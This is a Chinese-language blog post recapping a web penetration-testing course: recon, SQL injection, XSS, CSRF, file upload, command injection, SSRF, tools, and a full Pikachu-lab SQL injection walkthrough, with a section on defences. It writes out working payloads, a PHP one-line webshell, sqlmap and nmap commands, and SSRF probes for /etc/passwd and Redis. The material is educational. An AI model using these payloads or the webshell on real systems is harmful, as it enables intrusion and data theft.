当前位置: 首页 > news >正文

Web安全入门必看:渗透测试课程全复盘

一、学习路线概览

整个课程按照经典的渗透测试流程展开,我也正是跟着这个节奏一步步搭建起自己的知识体系:

  1. Web基础回顾 —— HTTP协议、请求/响应、Cookie/Session、同源策略

  2. 信息收集 —— 子域名、端口、目录、指纹,越细越能发现突破口

  3. 漏洞扫描与探测 —— 手工分析为主,工具辅助验证

  4. 常见Web漏洞详解 —— SQL注入、XSS、CSRF、SSRF、文件上传、命令注入等,每个漏洞都在本地靶场反复练习

  5. 后渗透与权限提升 —— 拿到shell后信息收集与横向移动的基本思路

  6. 报告编写 —— 怎样把发现的问题变成一份专业的渗透测试报告

下面我把每个阶段踩过的坑和总结出的干货分享出来,希望能帮你少走弯路。

二、Web基础:渗透的根基

这部分虽然枯燥,但后来才知道,HTTP协议理解不到位,连数据包都看不懂。

  • HTTP请求/响应:必须掌握请求方法(GET/POST/PUT)、常见状态码(200/302/403/500)、重要Header(User-Agent, Cookie, Referer, X-Forwarded-For)。我专门用 Burp Suite 的 Repeater 模块反复修改数据包,观察返回差异。

  • Cookie与Session机制:理解服务端如何维持会话,是后面做会话劫持、CSRF的前提。我甚至自己用Python Flask写了一个简单的登录功能来体验Session的生成与验证。

  • 同源策略与跨域:明白了同源策略的限制,才恍然大悟为什么会有CORS配置不当、JSONP劫持等问题。这部分强烈建议动手在浏览器控制台测试。

三、信息收集:渗透的起点

课程老师反复强调:信息收集做得好,漏洞挖掘就已经成功了一半。我平时最爱用的是下面这几招:

1. 域名与IP

  • whois查询、DNS历史记录(用 viewdns.info 等在线站)

  • 子域名枚举:我常备工具是 Layer 子域名挖掘机、subfinder、amass

  • CDN判断:多地ping(如 ping.chinaz.com),如果IP不唯一,就要找真实IP,比如查DNS历史、找子域名、甚至利用邮件服务器泄露

2. 端口与服务

快速端口扫描命令我整理成了固定套路:
【代码 语言:bash】
nmap -sS -T4 -p- target.com
nmap -sV -O -p 22,80,443,8080 target.com
【/代码】
扫描出端口后,一定要去查对应服务版本的已知漏洞。比如发现一个 OpenSSH 7.4,就去搜 Exploit-DB。

3. 目录与文件扫描

常用 dirsearch、gobuster,字典一定要自己积累,尤其是一些敏感后台和文件:

  • robots.txt、.git/HEAD、.DS_Store、备份文件(.bak/.swp/~结尾)

  • 常见管理入口:admin/、manager/、phpinfo.php、test.php
    有一次我在一个靶场里用 dirsearch 扫出了 .git 文件夹,然后用 GitHack 工具恢复了部分源码,直接拿到了数据库密码,那种感觉特别爽。

4. 指纹识别

浏览器装 Wappalyzer 插件,看一眼就知道网站用什么CMS、中间件。再用 WhatWeb 命令行交叉验证。一旦确定是 WordPress,马上用 wpscan 扫插件漏洞;确定是 ThinkPHP,立刻测试对应版本的RCE。

四、常见Web漏洞与实战技巧

这部分是课程的核心,每个漏洞我都在自己用 Docker 搭建的 DVWA、Pikachu、Sqli-labs 里反复练习,直到不需要看笔记就能手工利用。

4.1 SQL注入(手工+工具,附完整复盘见第六节)

手工注入的基本功必须扎实,不然完全依赖 sqlmap,环境一变就傻眼。

手工注入常规步骤:

  1. 找注入点,加单引号、双引号、反斜杠看报错

  2. 判断闭合方式,常用 ‘ or 1=1 # 测试

  3. 用 order by 猜解列数

  4. 联合查询 union select 收集数据

  5. 如果联合查询被拦截,换报错注入、布尔盲注、时间盲注

报错注入常用技巧,比如在不能回显列数时:
【代码 语言:sql】
' and extractvalue(1, concat(0x7e, database())) --+
【/代码】
布尔盲注时,我习惯用 length(database())=5 一点点判断,虽然慢,但在没有工具时很可靠。

工具 sqlmap 永远只作辅助,常用命令:
【代码 语言:bash】
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch
sqlmap -u "..." -D dbname --tables --dump
【/代码】
为了绕过简单 WAF,我用过 tamper 脚本,如 space2comment、between,效果不错。

4.2 XSS跨站脚本

我把XSS分三类记住:

  • 反射型:恶意脚本通过URL参数传入,需要诱导点击

  • 存储型:提交到留言板、个人资料等,所有人查看即触发

  • DOM型:前端JS不恰当地处理URL锚点或参数

常用测试 payload:
【代码 语言:html】

<script>alert('XSS')</script><img src=x οnerrοr=alert(1)> <svg/οnlοad=alert(1)> 【/代码】 遇到过滤时,可以尝试大小写混合、双写、编码绕过。后来我学着用 BeEF 结合XSS进行更深层的利用,比如获取浏览器指纹、劫持Cookie,效果非常直观。

4.3 CSRF跨站请求伪造

CSRF 的条件必须深刻理解:用户登录站点A,同时访问了恶意站点B,站点B的代码以用户身份向A发起请求。典型的攻击场景是修改密码、转账。防御上,Referer 检查、CSRF Token、SameSite Cookie 都很关键。测试时我会先抓正常的修改密码请求,然后生成一个一模一样的表单,删除 Token 和 Referer,看看能否成功。

4.4 文件上传漏洞

文件上传是拿shell最快的方式之一。

  • 前端验证绕过:直接抓包改后缀,或者先传允许的图片格式,再抓包改回 php。

  • 后端黑名单绕过:尝试 php3, phtml, php. , .htaccess 等。

  • 白名单配合解析漏洞:例如 Apache 的 a.php.bak 可能被当成PHP执行,IIS6 的 1.asp;.jpg 解析漏洞。

  • 内容检测:制作图片马,用 copy /b 图片.jpg + 一句话.php 生成,然后上传并配合文件包含漏洞执行。

我总结的一句话木马:
【代码 语言:php】

<?php @eval($_POST['cmd']); ?>

【/代码】
上传成功后,用蚁剑连接,能执行命令、管理文件,但一定只在授权环境测试。

4.5 命令执行与代码注入

关注那些能执行系统命令的函数:system()、exec()、passthru()、popen(),以及代码注入的 eval()、assert()。命令分隔符要灵活使用:; | || &&。绕过空格可以用 ${IFS}、<、<> 等。无回显时,我用 dnslog 或者在自己的VPS上接收 curl 请求来验证命令是否执行。

4.6 SSRF服务端请求伪造

只要看到能让服务器发起URL请求的功能点(如远程图片加载、文件下载、URL跳转),我就会尝试探测内网。例如:
【代码 语言:bash】
http://127.0.0.1:22
http://127.0.0.1:6379
file:///etc/passwd
【/代码】
如果存在Redis未授权访问,配合 gopher 协议可以写入公钥或计划任务反弹shell,这招在靶场中特别有效。

五、工具总结与使用心得

我把自己常用的工具整理成了一个表格(粘贴后可手动制表或用文字描述),这里列出核心几个:

  • Burp Suite:渗透必备,Proxy拦截、Repeater重放、Intruder暴力破解都非常熟练。

  • sqlmap:自动化注入,但我坚持先手工确认注入点再上工具,并会分析其payload。

  • Nmap:端口和服务扫描,脚本引擎强大。

  • dirsearch:目录扫描,字典自定义好很重要。

  • 蚁剑/冰蝎/哥斯拉:连接webshell,各有千秋,蚁剑简单,冰蝎流量加密。

  • Xray/Goby:自动化漏洞扫描,被动模式配合Burp,扫完一定要看流量的原理。

工具只是辅助,真正让我成长的,是在手工测试中一次次失败又排查的过程。

六、实战复盘:Pikachu字符型SQL注入完整过程

这个案例我录了屏,截图保留在每个步骤,这里是文字复盘。

靶场:本地 Pikachu,字符型注入(SQL Inject - String)

第1步:发现注入点
输入正常的名字vince,返回一条数据。输入vince',页面直接报 SQL 语法错误,说明输入被直接拼进查询了。这意味着这里极可能存在注入。

【插入图片:单引号报错的截图,图6】

第2步:判断闭合方式与注入可行性
尝试 payload:vince' or 1=1 #,结果返回了所有用户的记录。说明服务端的查询语句大概是:SELECT * FROM users WHERE name='$input'。我用了单引号闭合前面的字符串,or 1=1使条件永真,#注释掉后面的内容。注入确认。

第3步:获取列数
vince' order by 2 #正常返回,vince' order by 3 #报错,说明当前查询的列数就是2。联合查询必须字段数一致,这一步不能错。

第4步:联合查询获取数据库信息
构造vince' union select database(),user() #。页面显示了两个额外字段:数据库名和当前用户。我一看,数据库是 pikachu,用户是 root@localhost。

第5步:逐层获取表名、列名、数据
继续使用联合查询,用 information_schema 来查:
获取表名:vince' union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu' #
查到 users 表。
获取列名:vince' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
得到 id, username, password。
拖数据:vince' union select group_concat(username),group_concat(password) from users #
成功拿到所有用户密码,多数是 MD5,可以直接在线解密。

第6步:整理成报告
我把每一步的截图、解释和修复建议(使用参数化查询、过滤输入)整理出来,形成一份小报告,成就感满满。

七、漏洞修复与防御思路

学渗透不能只会攻,还得会防。我把常见漏洞的防御方案汇总在这里:

  • SQL注入:使用参数化查询(预编译);严格过滤输入类型和长度;数据库用户最小权限;关闭错误回显。

  • XSS:输出编码(HTML实体编码、JS编码);使用 CSP(内容安全策略);HttpOnly 标记 Cookie。

  • CSRF:加入随机 Token 并验证;设置 SameSite=Strict/Lax;检查 Referer。

  • 文件上传:使用白名单限制后缀;重命名文件;将上传目录设置为不可执行;对文件内容做二次检测。

  • 命令注入/代码注入:禁止外部输入直接执行命令;使用白名单限制参数;禁用危险函数。

  • SSRF:白名单限制请求的目标地址;禁用 file、gopher 等危险协议;对内网访问做限制。

八、学习心得与建议

  1. 一定要搭建自己的靶场环境,Docker 秒搭建 DVWA、Sqli-labs、Vulhub,随时操练。

  2. 每学一个漏洞,不要只看视频,一定要亲手复现并写下详细的复现笔记(我用 Typora)。

  3. 编程能力不能丢,至少会 Python,写些小脚本批量检测或解析数据,效率翻倍。

  4. 多看安全社区(先知、FreeBuf、安全客)和 CVE,关注最新漏洞,保持敏感度。

  5. 永远对法律和道德保持敬畏,只做授权测试,法律红线绝不触碰。

九、结语与互动

Web渗透测试入门不难,但想精通没有捷径,就是靠大量实践和总结。这篇文章是我学习课程后的全盘复盘,如果对你有帮助,欢迎点赞、收藏支持。

思考与互动

  • 你在学习SQL注入时,是手工注入还是直接上 sqlmap?遇到过什么难忘的坑?

  • 文件上传绕过内容检测,除了图片马还有哪些方法?
    欢迎在评论区聊聊你的经验,我会每条都回复。

参考推荐:

  • 《白帽子讲Web安全》

  • OWASP Top 10 2021

  • Vulhub漏洞靶场

  • PortSwigger Web Security Academy(免费在线实验)

http://www.jsqmd.com/news/1100619/

相关文章:

  • 影响游戏开发报价的6大核心真相
  • YOLO与3D点云融合:从原理到实战的3D目标检测指南
  • Ubuntu部署svn1.14.3及权限控制
  • Web渗透测试全流程深度解析:从原理、实战到防御
  • BOSMA博冠一录同行·长沙站圆满收官!
  • google windows 安装包
  • 数存科技 × 银河麒麟 V11|全栈适配・全域安全
  • AI精准优化mRNA翻译效率:从数据驱动到疫苗研发新范式
  • E-Hentai下载器终极指南:三步完成画廊图片批量打包下载
  • 3分钟掌握AutoTask:安卓自动化神器终极指南
  • 别再死磕公式了!手把手教你用REANA搞定ISO26262硬件指标计算(含数据来源避坑指南)
  • Outfit字体:现代品牌视觉系统的几何美学革命
  • 零信任网络的最后一道防线:K8s NetworkPolicy 深度解析与生产实践
  • 提升投稿通过率:5 款适配 SCI 的科研论文绘图工具推荐
  • 保姆级教程:在RK3588 Android12上,用Activity指定Display ID实现四屏异显
  • AI写代码工具推荐清单,含安全审计评分、私有化部署支持率、IDE兼容矩阵(附可下载的决策树PDF)
  • Python测试框架终极对决:unittest与pytest深度对比与选型指南
  • 别再只懂向量搜索了!手把手教你用Elasticsearch BM25 + LangChain自查询,给RAG应用降本增效
  • 别再只跑Demo了!用Hugging Face Transformers库5分钟搞定LLaMA模型本地部署与文本生成
  • 别再死记硬背了!用Python+MD模拟,5分钟搞懂NVT、NPT系综到底怎么选
  • SQL注入攻防全解析:从原理到实战防御
  • 医疗影像数据处理难题的DCMTK解决方案:从DICOM解析到临床应用
  • FlicFlac终极指南:免费Windows音频格式转换工具完整教程
  • 电脑智能操控工具 OpenClaw 安装教学,含完整排错步骤(含安装包)
  • YOLO目标检测从入门到实战:环境配置、训练推理与版本选择全攻略
  • ChatGPT企业部署必查清单:7个被93%公司忽略的合规漏洞(GDPR/《个人信息保护法》双认证)
  • Kubernetes Pod 网络策略与安全隔离
  • 「一录同行」上海站XBOSMA博冠精彩回顾
  • 五子棋的Java实现
  • 第四届【AI创新先锋—2026中国AI产业创新先锋榜单】正式发布!